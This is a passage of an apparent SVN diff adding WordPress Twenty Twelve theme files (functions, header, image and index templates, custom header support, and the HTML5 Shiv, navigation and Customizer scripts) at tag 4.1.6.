+add_filter( 'wp_page_menu_args', 'twentytwelve_page_menu_args' );
+
+/**
+ * Register sidebars.
+ *
+ * Registers our main widget area and the front page widget areas.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_widgets_init() {
+	register_sidebar( array(
+		'name' => __( 'Main Sidebar', 'twentytwelve' ),
+		'id' => 'sidebar-1',
+		'description' => __( 'Appears on posts and pages except the optional Front Page template, which has its own widgets', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'First Front Page Widget Area', 'twentytwelve' ),
+		'id' => 'sidebar-2',
+		'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+
+	register_sidebar( array(
+		'name' => __( 'Second Front Page Widget Area', 'twentytwelve' ),
+		'id' => 'sidebar-3',
+		'description' => __( 'Appears when using the optional Front Page template with a page set as Static Front Page', 'twentytwelve' ),
+		'before_widget' => '<aside id="%1$s" class="widget %2$s">',
+		'after_widget' => '</aside>',
+		'before_title' => '<h3 class="widget-title">',
+		'after_title' => '</h3>',
+	) );
+}
+add_action( 'widgets_init', 'twentytwelve_widgets_init' );
+
+if ( ! function_exists( 'twentytwelve_content_nav' ) ) :
+/**
+ * Displays navigation to next/previous pages when applicable.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_content_nav( $html_id ) {
+	global $wp_query;
+
+	$html_id = esc_attr( $html_id );
+
+	if ( $wp_query->max_num_pages > 1 ) : ?>
+		<nav id="<?php echo $html_id; ?>" class="navigation" role="navigation">
+			<h3 class="assistive-text"><?php _e( 'Post navigation', 'twentytwelve' ); ?></h3>
+			<div class="nav-previous"><?php next_posts_link( __( '<span class="meta-nav">&larr;</span> Older posts', 'twentytwelve' ) ); ?></div>
+			<div class="nav-next"><?php previous_posts_link( __( 'Newer posts <span class="meta-nav">&rarr;</span>', 'twentytwelve' ) ); ?></div>
+		</nav><!-- #<?php echo $html_id; ?> .navigation -->
+	<?php endif;
+}
+endif;
+
+if ( ! function_exists( 'twentytwelve_comment' ) ) :
+/**
+ * Template for comments and pingbacks.
+ *
+ * To override this walker in a child theme without modifying the comments template
+ * simply create your own twentytwelve_comment(), and that function will be used instead.
+ *
+ * Used as a callback by wp_list_comments() for displaying the comments.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_comment( $comment, $args, $depth ) {
+	$GLOBALS['comment'] = $comment;
+	switch ( $comment->comment_type ) :
+		case 'pingback' :
+		case 'trackback' :
+		// Display trackbacks differently than normal comments.
+	?>
+	<li <?php comment_class(); ?> id="comment-<?php comment_ID(); ?>">
+		<p><?php _e( 'Pingback:', 'twentytwelve' ); ?> <?php comment_author_link(); ?> <?php edit_comment_link( __( '(Edit)', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?></p>
+	<?php
+			break;
+		default :
+		// Proceed with normal comments.
+		global $post;
+	?>
+	<li <?php comment_class(); ?> id="li-comment-<?php comment_ID(); ?>">
+		<article id="comment-<?php comment_ID(); ?>" class="comment">
+			<header class="comment-meta comment-author vcard">
+				<?php
+					echo get_avatar( $comment, 44 );
+					printf( '<cite><b class="fn">%1$s</b> %2$s</cite>',
+						get_comment_author_link(),
+						// If current post author is also comment author, make it known visually.
+						( $comment->user_id === $post->post_author ) ? '<span>' . __( 'Post author', 'twentytwelve' ) . '</span>' : ''
+					);
+					printf( '<a href="%1$s"><time datetime="%2$s">%3$s</time></a>',
+						esc_url( get_comment_link( $comment->comment_ID ) ),
+						get_comment_time( 'c' ),
+						/* translators: 1: date, 2: time */
+						sprintf( __( '%1$s at %2$s', 'twentytwelve' ), get_comment_date(), get_comment_time() )
+					);
+				?>
+			</header><!-- .comment-meta -->
+
+			<?php if ( '0' == $comment->comment_approved ) : ?>
+				<p class="comment-awaiting-moderation"><?php _e( 'Your comment is awaiting moderation.', 'twentytwelve' ); ?></p>
+			<?php endif; ?>
+
+			<section class="comment-content comment">
+				<?php comment_text(); ?>
+				<?php edit_comment_link( __( 'Edit', 'twentytwelve' ), '<p class="edit-link">', '</p>' ); ?>
+			</section><!-- .comment-content -->
+
+			<div class="reply">
+				<?php comment_reply_link( array_merge( $args, array( 'reply_text' => __( 'Reply', 'twentytwelve' ), 'after' => ' <span>&darr;</span>', 'depth' => $depth, 'max_depth' => $args['max_depth'] ) ) ); ?>
+			</div><!-- .reply -->
+		</article><!-- #comment-## -->
+	<?php
+		break;
+	endswitch; // end comment_type check
+}
+endif;
+
+if ( ! function_exists( 'twentytwelve_entry_meta' ) ) :
+/**
+ * Set up post entry meta.
+ *
+ * Prints HTML with meta information for current post: categories, tags, permalink, author, and date.
+ *
+ * Create your own twentytwelve_entry_meta() to override in a child theme.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_entry_meta() {
+	// Translators: used between list items, there is a space after the comma.
+	$categories_list = get_the_category_list( __( ', ', 'twentytwelve' ) );
+
+	// Translators: used between list items, there is a space after the comma.
+	$tag_list = get_the_tag_list( '', __( ', ', 'twentytwelve' ) );
+
+	$date = sprintf( '<a href="%1$s" title="%2$s" rel="bookmark"><time class="entry-date" datetime="%3$s">%4$s</time></a>',
+		esc_url( get_permalink() ),
+		esc_attr( get_the_time() ),
+		esc_attr( get_the_date( 'c' ) ),
+		esc_html( get_the_date() )
+	);
+
+	$author = sprintf( '<span class="author vcard"><a class="url fn n" href="%1$s" title="%2$s" rel="author">%3$s</a></span>',
+		esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+		esc_attr( sprintf( __( 'View all posts by %s', 'twentytwelve' ), get_the_author() ) ),
+		get_the_author()
+	);
+
+	// Translators: 1 is category, 2 is tag, 3 is the date and 4 is the author's name.
+	if ( $tag_list ) {
+		$utility_text = __( 'This entry was posted in %1$s and tagged %2$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	} elseif ( $categories_list ) {
+		$utility_text = __( 'This entry was posted in %1$s on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	} else {
+		$utility_text = __( 'This entry was posted on %3$s<span class="by-author"> by %4$s</span>.', 'twentytwelve' );
+	}
+
+	printf(
+		$utility_text,
+		$categories_list,
+		$tag_list,
+		$date,
+		$author
+	);
+}
+endif;
+
+/**
+ * Extend the default WordPress body classes.
+ *
+ * Extends the default WordPress body class to denote:
+ * 1. Using a full-width layout, when no active widgets in the sidebar
+ *    or full-width template.
+ * 2. Front Page template: thumbnail in use and number of sidebars for
+ *    widget areas.
+ * 3. White or empty background color to change the layout and spacing.
+ * 4. Custom fonts enabled.
+ * 5. Single or multiple authors.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param array $classes Existing class values.
+ * @return array Filtered class values.
+ */
+function twentytwelve_body_class( $classes ) {
+	$background_color = get_background_color();
+	$background_image = get_background_image();
+
+	if ( ! is_active_sidebar( 'sidebar-1' ) || is_page_template( 'page-templates/full-width.php' ) )
+		$classes[] = 'full-width';
+
+	if ( is_page_template( 'page-templates/front-page.php' ) ) {
+		$classes[] = 'template-front-page';
+		if ( has_post_thumbnail() )
+			$classes[] = 'has-post-thumbnail';
+		if ( is_active_sidebar( 'sidebar-2' ) && is_active_sidebar( 'sidebar-3' ) )
+			$classes[] = 'two-sidebars';
+	}
+
+	if ( empty( $background_image ) ) {
+		if ( empty( $background_color ) )
+			$classes[] = 'custom-background-empty';
+		elseif ( in_array( $background_color, array( 'fff', 'ffffff' ) ) )
+			$classes[] = 'custom-background-white';
+	}
+
+	// Enable custom font class only if the font CSS is queued to load.
+	if ( wp_style_is( 'twentytwelve-fonts', 'queue' ) )
+		$classes[] = 'custom-font-enabled';
+
+	if ( ! is_multi_author() )
+		$classes[] = 'single-author';
+
+	return $classes;
+}
+add_filter( 'body_class', 'twentytwelve_body_class' );
+
+/**
+ * Adjust content width in certain contexts.
+ *
+ * Adjusts content_width value for full-width and single image attachment
+ * templates, and when there are no active widgets in the sidebar.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_content_width() {
+	if ( is_page_template( 'page-templates/full-width.php' ) || is_attachment() || ! is_active_sidebar( 'sidebar-1' ) ) {
+		global $content_width;
+		$content_width = 960;
+	}
+}
+add_action( 'template_redirect', 'twentytwelve_content_width' );
+
+/**
+ * Register postMessage support.
+ *
+ * Add postMessage support for site title and description for the Customizer.
+ *
+ * @since Twenty Twelve 1.0
+ *
+ * @param WP_Customize_Manager $wp_customize Customizer object.
+ */
+function twentytwelve_customize_register( $wp_customize ) {
+	$wp_customize->get_setting( 'blogname' )->transport         = 'postMessage';
+	$wp_customize->get_setting( 'blogdescription' )->transport  = 'postMessage';
+	$wp_customize->get_setting( 'header_textcolor' )->transport = 'postMessage';
+}
+add_action( 'customize_register', 'twentytwelve_customize_register' );
+
+/**
+ * Enqueue Javascript postMessage handlers for the Customizer.
+ *
+ * Binds JS handlers to make the Customizer preview reload changes asynchronously.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_customize_preview_js() {
+	wp_enqueue_script( 'twentytwelve-customizer', get_template_directory_uri() . '/js/theme-customizer.js', array( 'customize-preview' ), '20141120', true );
+}
+add_action( 'customize_preview_init', 'twentytwelve_customize_preview_js' );
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/header.php	(revision 33402)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The Header template for our theme
+ *
+ * Displays all of the <head> section and everything up till <div id="main">
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+?><!DOCTYPE html>
+<!--[if IE 7]>
+<html class="ie ie7" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if IE 8]>
+<html class="ie ie8" <?php language_attributes(); ?>>
+<![endif]-->
+<!--[if !(IE 7) & !(IE 8)]><!-->
+<html <?php language_attributes(); ?>>
+<!--<![endif]-->
+<head>
+<meta charset="<?php bloginfo( 'charset' ); ?>" />
+<meta name="viewport" content="width=device-width" />
+<title><?php wp_title( '|', true, 'right' ); ?></title>
+<link rel="profile" href="http://gmpg.org/xfn/11" />
+<link rel="pingback" href="<?php bloginfo( 'pingback_url' ); ?>" />
+<?php // Loads HTML5 JavaScript file to add support for HTML5 elements in older IE versions. ?>
+<!--[if lt IE 9]>
+<script src="<?php echo get_template_directory_uri(); ?>/js/html5.js" type="text/javascript"></script>
+<![endif]-->
+<?php wp_head(); ?>
+</head>
+
+<body <?php body_class(); ?>>
+<div id="page" class="hfeed site">
+	<header id="masthead" class="site-header" role="banner">
+		<hgroup>
+			<h1 class="site-title"><a href="<?php echo esc_url( home_url( '/' ) ); ?>" title="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" rel="home"><?php bloginfo( 'name' ); ?></a></h1>
+			<h2 class="site-description"><?php bloginfo( 'description' ); ?></h2>
+		</hgroup>
+
+		<nav id="site-navigation" class="main-navigation" role="navigation">
+			<button class="menu-toggle"><?php _e( 'Menu', 'twentytwelve' ); ?></button>
+			<a class="assistive-text" href="#content" title="<?php esc_attr_e( 'Skip to content', 'twentytwelve' ); ?>"><?php _e( 'Skip to content', 'twentytwelve' ); ?></a>
+			<?php wp_nav_menu( array( 'theme_location' => 'primary', 'menu_class' => 'nav-menu' ) ); ?>
+		</nav><!-- #site-navigation -->
+
+		<?php if ( get_header_image() ) : ?>
+		<a href="<?php echo esc_url( home_url( '/' ) ); ?>"><img src="<?php header_image(); ?>" class="header-image" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="<?php echo esc_attr( get_bloginfo( 'name', 'display' ) ); ?>" /></a>
+		<?php endif; ?>
+	</header><!-- #masthead -->
+
+	<div id="main" class="wrapper">
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/image.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/image.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/image.php	(revision 33402)
@@ -0,0 +1,116 @@
+<?php
+/**
+ * The template for displaying image attachments
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+
+		<?php while ( have_posts() ) : the_post(); ?>
+
+				<article id="post-<?php the_ID(); ?>" <?php post_class( 'image-attachment' ); ?>>
+					<header class="entry-header">
+						<h1 class="entry-title"><?php the_title(); ?></h1>
+
+						<footer class="entry-meta">
+							<?php
+								$metadata = wp_get_attachment_metadata();
+								printf( __( '<span class="meta-prep meta-prep-entry-date">Published </span> <span class="entry-date"><time class="entry-date" datetime="%1$s">%2$s</time></span> at <a href="%3$s" title="Link to full-size image">%4$s &times; %5$s</a> in <a href="%6$s" title="Return to %7$s" rel="gallery">%8$s</a>.', 'twentytwelve' ),
+									esc_attr( get_the_date( 'c' ) ),
+									esc_html( get_the_date() ),
+									esc_url( wp_get_attachment_url() ),
+									$metadata['width'],
+									$metadata['height'],
+									esc_url( get_permalink( $post->post_parent ) ),
+									esc_attr( strip_tags( get_the_title( $post->post_parent ) ) ),
+									get_the_title( $post->post_parent )
+								);
+							?>
+							<?php edit_post_link( __( 'Edit', 'twentytwelve' ), '<span class="edit-link">', '</span>' ); ?>
+						</footer><!-- .entry-meta -->
+
+						<nav id="image-navigation" class="navigation" role="navigation">
+							<span class="previous-image"><?php previous_image_link( false, __( '&larr; Previous', 'twentytwelve' ) ); ?></span>
+							<span class="next-image"><?php next_image_link( false, __( 'Next &rarr;', 'twentytwelve' ) ); ?></span>
+						</nav><!-- #image-navigation -->
+					</header><!-- .entry-header -->
+
+					<div class="entry-content">
+
+						<div class="entry-attachment">
+							<div class="attachment">
+<?php
+/*
+ * Grab the IDs of all the image attachments in a gallery so we can get the URL of the next adjacent image in a gallery,
+ * or the first image (if we're looking at the last image in a gallery), or, in a gallery of one, just the link to that image file
+ */
+$attachments = array_values( get_children( array( 'post_parent' => $post->post_parent, 'post_status' => 'inherit', 'post_type' => 'attachment', 'post_mime_type' => 'image', 'order' => 'ASC', 'orderby' => 'menu_order ID' ) ) );
+foreach ( $attachments as $k => $attachment ) :
+	if ( $attachment->ID == $post->ID )
+		break;
+endforeach;
+
+// If there is more than 1 attachment in a gallery
+if ( count( $attachments ) > 1 ) :
+	$k++;
+	if ( isset( $attachments[ $k ] ) ) :
+		// get the URL of the next image attachment
+		$next_attachment_url = get_attachment_link( $attachments[ $k ]->ID );
+	else :
+		// or get the URL of the first image attachment
+		$next_attachment_url = get_attachment_link( $attachments[ 0 ]->ID );
+	endif;
+else :
+	// or, if there's only 1 image, get the URL of the image
+	$next_attachment_url = wp_get_attachment_url();
+endif;
+?>
+								<a href="<?php echo esc_url( $next_attachment_url ); ?>" title="<?php the_title_attribute(); ?>" rel="attachment"><?php
+								/**
+ 								 * Filter the image attachment size to use.
+								 *
+								 * @since Twenty Twelve 1.0
+								 *
+								 * @param array $size {
+								 *     @type int The attachment height in pixels.
+								 *     @type int The attachment width in pixels.
+								 * }
+								 */
+								$attachment_size = apply_filters( 'twentytwelve_attachment_size', array( 960, 960 ) );
+								echo wp_get_attachment_image( $post->ID, $attachment_size );
+								?></a>
+
+								<?php if ( ! empty( $post->post_excerpt ) ) : ?>
+								<div class="entry-caption">
+									<?php the_excerpt(); ?>
+								</div>
+								<?php endif; ?>
+							</div><!-- .attachment -->
+
+						</div><!-- .entry-attachment -->
+
+						<div class="entry-description">
+							<?php the_content(); ?>
+							<?php wp_link_pages( array( 'before' => '<div class="page-links">' . __( 'Pages:', 'twentytwelve' ), 'after' => '</div>' ) ); ?>
+						</div><!-- .entry-description -->
+
+					</div><!-- .entry-content -->
+
+				</article><!-- #post -->
+
+				<?php comments_template(); ?>
+
+			<?php endwhile; // end of the loop. ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/inc/custom-header.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/inc/custom-header.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/inc/custom-header.php	(revision 33402)
@@ -0,0 +1,165 @@
+<?php
+/**
+ * Implement an optional custom header for Twenty Twelve
+ *
+ * See http://codex.wordpress.org/Custom_Headers
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+/**
+ * Set up the WordPress core custom header arguments and settings.
+ *
+ * @uses add_theme_support() to register support for 3.4 and up.
+ * @uses twentytwelve_header_style() to style front-end.
+ * @uses twentytwelve_admin_header_style() to style wp-admin form.
+ * @uses twentytwelve_admin_header_image() to add custom markup to wp-admin form.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_custom_header_setup() {
+	$args = array(
+		// Text color and image (empty to use none).
+		'default-text-color'     => '515151',
+		'default-image'          => '',
+
+		// Set height and width, with a maximum value for the width.
+		'height'                 => 250,
+		'width'                  => 960,
+		'max-width'              => 2000,
+
+		// Support flexible height and width.
+		'flex-height'            => true,
+		'flex-width'             => true,
+
+		// Random image rotation off by default.
+		'random-default'         => false,
+
+		// Callbacks for styling the header and the admin preview.
+		'wp-head-callback'       => 'twentytwelve_header_style',
+		'admin-head-callback'    => 'twentytwelve_admin_header_style',
+		'admin-preview-callback' => 'twentytwelve_admin_header_image',
+	);
+
+	add_theme_support( 'custom-header', $args );
+}
+add_action( 'after_setup_theme', 'twentytwelve_custom_header_setup' );
+
+/**
+ * Load our special font CSS file.
+ *
+ * @since Twenty Twelve 1.2
+ */
+function twentytwelve_custom_header_fonts() {
+	$font_url = twentytwelve_get_font_url();
+	if ( ! empty( $font_url ) )
+		wp_enqueue_style( 'twentytwelve-fonts', esc_url_raw( $font_url ), array(), null );
+}
+add_action( 'admin_print_styles-appearance_page_custom-header', 'twentytwelve_custom_header_fonts' );
+
+/**
+ * Style the header text displayed on the blog.
+ *
+ * get_header_textcolor() options: 515151 is default, hide text (returns 'blank'), or any hex value.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_header_style() {
+	$text_color = get_header_textcolor();
+
+	// If no custom options for text are set, let's bail
+	if ( $text_color == get_theme_support( 'custom-header', 'default-text-color' ) )
+		return;
+
+	// If we get this far, we have custom styles.
+	?>
+	<style type="text/css" id="twentytwelve-header-css">
+	<?php
+		// Has the text been hidden?
+		if ( ! display_header_text() ) :
+	?>
+		.site-title,
+		.site-description {
+			position: absolute;
+			clip: rect(1px 1px 1px 1px); /* IE7 */
+			clip: rect(1px, 1px, 1px, 1px);
+		}
+	<?php
+		// If the user has set a custom color for the text, use that.
+		else :
+	?>
+		.site-header h1 a,
+		.site-header h2 {
+			color: #<?php echo $text_color; ?>;
+		}
+	<?php endif; ?>
+	</style>
+	<?php
+}
+
+/**
+ * Style the header image displayed on the Appearance > Header admin panel.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_admin_header_style() {
+?>
+	<style type="text/css" id="twentytwelve-admin-header-css">
+	.appearance_page_custom-header #headimg {
+		border: none;
+		font-family: "Open Sans", Helvetica, Arial, sans-serif;
+	}
+	#headimg h1,
+	#headimg h2 {
+		line-height: 1.84615;
+		margin: 0;
+		padding: 0;
+	}
+	#headimg h1 {
+		font-size: 26px;
+	}
+	#headimg h1 a {
+		color: #515151;
+		text-decoration: none;
+	}
+	#headimg h1 a:hover {
+		color: #21759b !important; /* Has to override custom inline style. */
+	}
+	#headimg h2 {
+		color: #757575;
+		font-size: 13px;
+		margin-bottom: 24px;
+	}
+	#headimg img {
+		max-width: <?php echo get_theme_support( 'custom-header', 'max-width' ); ?>px;
+	}
+	</style>
+<?php
+}
+
+/**
+ * Output markup to be displayed on the Appearance > Header admin panel.
+ *
+ * This callback overrides the default markup displayed there.
+ *
+ * @since Twenty Twelve 1.0
+ */
+function twentytwelve_admin_header_image() {
+	?>
+	<div id="headimg">
+		<?php
+		if ( ! display_header_text() )
+			$style = ' style="display:none;"';
+		else
+			$style = ' style="color:#' . get_header_textcolor() . ';"';
+		?>
+		<h1 class="displaying-header-text"><a id="name"<?php echo $style; ?> onclick="return false;" href="<?php echo esc_url( home_url( '/' ) ); ?>"  tabindex="-1"><?php bloginfo( 'name' ); ?></a></h1>
+		<h2 id="desc" class="displaying-header-text"<?php echo $style; ?>><?php bloginfo( 'description' ); ?></h2>
+		<?php $header_image = get_header_image();
+		if ( ! empty( $header_image ) ) : ?>
+			<img src="<?php echo esc_url( $header_image ); ?>" class="header-image" width="<?php echo get_custom_header()->width; ?>" height="<?php echo get_custom_header()->height; ?>" alt="" />
+		<?php endif; ?>
+	</div>
+<?php }
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/index.php
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/index.php	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/index.php	(revision 33402)
@@ -0,0 +1,66 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * For example, it puts together the home page when no home.php file exists.
+ *
+ * @link http://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Twelve
+ * @since Twenty Twelve 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="site-content">
+		<div id="content" role="main">
+		<?php if ( have_posts() ) : ?>
+
+			<?php /* Start the Loop */ ?>
+			<?php while ( have_posts() ) : the_post(); ?>
+				<?php get_template_part( 'content', get_post_format() ); ?>
+			<?php endwhile; ?>
+
+			<?php twentytwelve_content_nav( 'nav-below' ); ?>
+
+		<?php else : ?>
+
+			<article id="post-0" class="post no-results not-found">
+
+			<?php if ( current_user_can( 'edit_posts' ) ) :
+				// Show a different message to a logged-in user who can add posts.
+			?>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'No posts to display', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php printf( __( 'Ready to publish your first post? <a href="%s">Get started here</a>.', 'twentytwelve' ), admin_url( 'post-new.php' ) ); ?></p>
+				</div><!-- .entry-content -->
+
+			<?php else :
+				// Show the default message to everyone else.
+			?>
+				<header class="entry-header">
+					<h1 class="entry-title"><?php _e( 'Nothing Found', 'twentytwelve' ); ?></h1>
+				</header>
+
+				<div class="entry-content">
+					<p><?php _e( 'Apologies, but no results were found. Perhaps searching will help find a related post.', 'twentytwelve' ); ?></p>
+					<?php get_search_form(); ?>
+				</div><!-- .entry-content -->
+			<?php endif; // end current_user_can() check ?>
+
+			</article><!-- #post-0 -->
+
+		<?php endif; // end have_posts() check ?>
+
+		</div><!-- #content -->
+	</div><!-- #primary -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/js/html5.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/js/html5.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/js/html5.js	(revision 33402)
@@ -0,0 +1,8 @@
+/*
+ HTML5 Shiv v3.7.0 | @afarkas @jdalton @jon_neal @rem | MIT/GPL2 Licensed
+*/
+(function(l,f){function m(){var a=e.elements;return"string"==typeof a?a.split(" "):a}function i(a){var b=n[a[o]];b||(b={},h++,a[o]=h,n[h]=b);return b}function p(a,b,c){b||(b=f);if(g)return b.createElement(a);c||(c=i(b));b=c.cache[a]?c.cache[a].cloneNode():r.test(a)?(c.cache[a]=c.createElem(a)).cloneNode():c.createElem(a);return b.canHaveChildren&&!s.test(a)?c.frag.appendChild(b):b}function t(a,b){if(!b.cache)b.cache={},b.createElem=a.createElement,b.createFrag=a.createDocumentFragment,b.frag=b.createFrag();
+a.createElement=function(c){return!e.shivMethods?b.createElem(c):p(c,a,b)};a.createDocumentFragment=Function("h,f","return function(){var n=f.cloneNode(),c=n.createElement;h.shivMethods&&("+m().join().replace(/[\w\-]+/g,function(a){b.createElem(a);b.frag.createElement(a);return'c("'+a+'")'})+");return n}")(e,b.frag)}function q(a){a||(a=f);var b=i(a);if(e.shivCSS&&!j&&!b.hasCSS){var c,d=a;c=d.createElement("p");d=d.getElementsByTagName("head")[0]||d.documentElement;c.innerHTML="x<style>article,aside,dialog,figcaption,figure,footer,header,hgroup,main,nav,section{display:block}mark{background:#FF0;color:#000}template{display:none}</style>";
+c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="<xyz></xyz>";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode||
+"undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details dialog figcaption figure footer header hgroup main mark meter nav output progress section summary template time video",version:"3.7.0",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);
+if(g)return a.createDocumentFragment();for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d<h;d++)c.createElement(e[d]);return c}};l.html5=e;q(f)})(this,document);
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/js/navigation.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/js/navigation.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/js/navigation.js	(revision 33402)
@@ -0,0 +1,55 @@
+/**
+ * Handles toggling the navigation menu for small screens and
+ * accessibility for submenu items.
+ */
+( function() {
+	var nav = document.getElementById( 'site-navigation' ), button, menu;
+	if ( ! nav ) {
+		return;
+	}
+
+	button = nav.getElementsByTagName( 'button' )[0];
+	menu   = nav.getElementsByTagName( 'ul' )[0];
+	if ( ! button ) {
+		return;
+	}
+
+	// Hide button if menu is missing or empty.
+	if ( ! menu || ! menu.childNodes.length ) {
+		button.style.display = 'none';
+		return;
+	}
+
+	button.onclick = function() {
+		if ( -1 === menu.className.indexOf( 'nav-menu' ) ) {
+			menu.className = 'nav-menu';
+		}
+
+		if ( -1 !== button.className.indexOf( 'toggled-on' ) ) {
+			button.className = button.className.replace( ' toggled-on', '' );
+			menu.className = menu.className.replace( ' toggled-on', '' );
+		} else {
+			button.className += ' toggled-on';
+			menu.className += ' toggled-on';
+		}
+	};
+} )();
+
+// Better focus for hidden submenu items for accessibility.
+( function( $ ) {
+	$( '.main-navigation' ).find( 'a' ).on( 'focus.twentytwelve blur.twentytwelve', function() {
+		$( this ).parents( '.menu-item, .page_item' ).toggleClass( 'focus' );
+	} );
+
+  if ( 'ontouchstart' in window ) {
+    $('body').on( 'touchstart.twentytwelve',  '.menu-item-has-children > a, .page_item_has_children > a', function( e ) {
+      var el = $( this ).parent( 'li' );
+
+      if ( ! el.hasClass( 'focus' ) ) {
+        e.preventDefault();
+        el.toggleClass( 'focus' );
+        el.siblings( '.focus').removeClass( 'focus' );
+      }
+    } );
+  }
+} )( jQuery );
Index: /tags/4.1.6/src/wp-content/themes/twentytwelve/js/theme-customizer.js
===================================================================
--- /tags/4.1.6/src/wp-content/themes/twentytwelve/js/theme-customizer.js	(revision 33402)
+++ /tags/4.1.6/src/wp-content/themes/twentytwelve/js/theme-customizer.js	(revision 33402)
@@ -0,0 +1,65 @@
+/**
+ * Customizer enhancements for a better user experience.
+ *
+ * Contains handlers to make Customizer preview reload changes asynchronously.
+ * Things like site title, description, and background color changes.
+ */
+
+( function( $ ) {
+	// Site title and description.
+	wp.customize( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+	wp.customize( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+
+	// Header text color
+	wp.customize( 'header_textcolor', function( value ) {
+		value.bind( function( to ) {
+			if ( 'blank' === to ) {
+				$( '.site-title, .site-title a, .site-description' ).css( {
+					'clip': 'rect(1px, 1px, 1px, 1px)',
+					'position': 'absolute'
+				} );
+			} else {
+				$( '.site-title, .site-title a, .site-description' ).css( {
+					'clip': 'auto',
+					'color': to,
+					'position': 'relative'
+				} );
+			}
+		} );
+	} );
+
+	// Hook into background color/image change and adjust body class value as needed.
+	wp.customize( 'background_color', function( value ) {
+		value.bind( function( to ) {
+			var body = $( 'body' );
+
+			if ( ( '#ffffff' == to || '#fff' == to ) && 'none' == body.css( 'background-image' ) )
+				body.addClass( 'custom-background-white' );
+			else if ( '' == to && 'none' == body.css( 'background-image' ) )
+				body.addClass( 'custom-background-empty' );
+			else
+				body.removeClass( 'custom-background-empty custom-background-white' );
+		} );
+	} );
+	wp.customize( 'background_image', function( value ) {
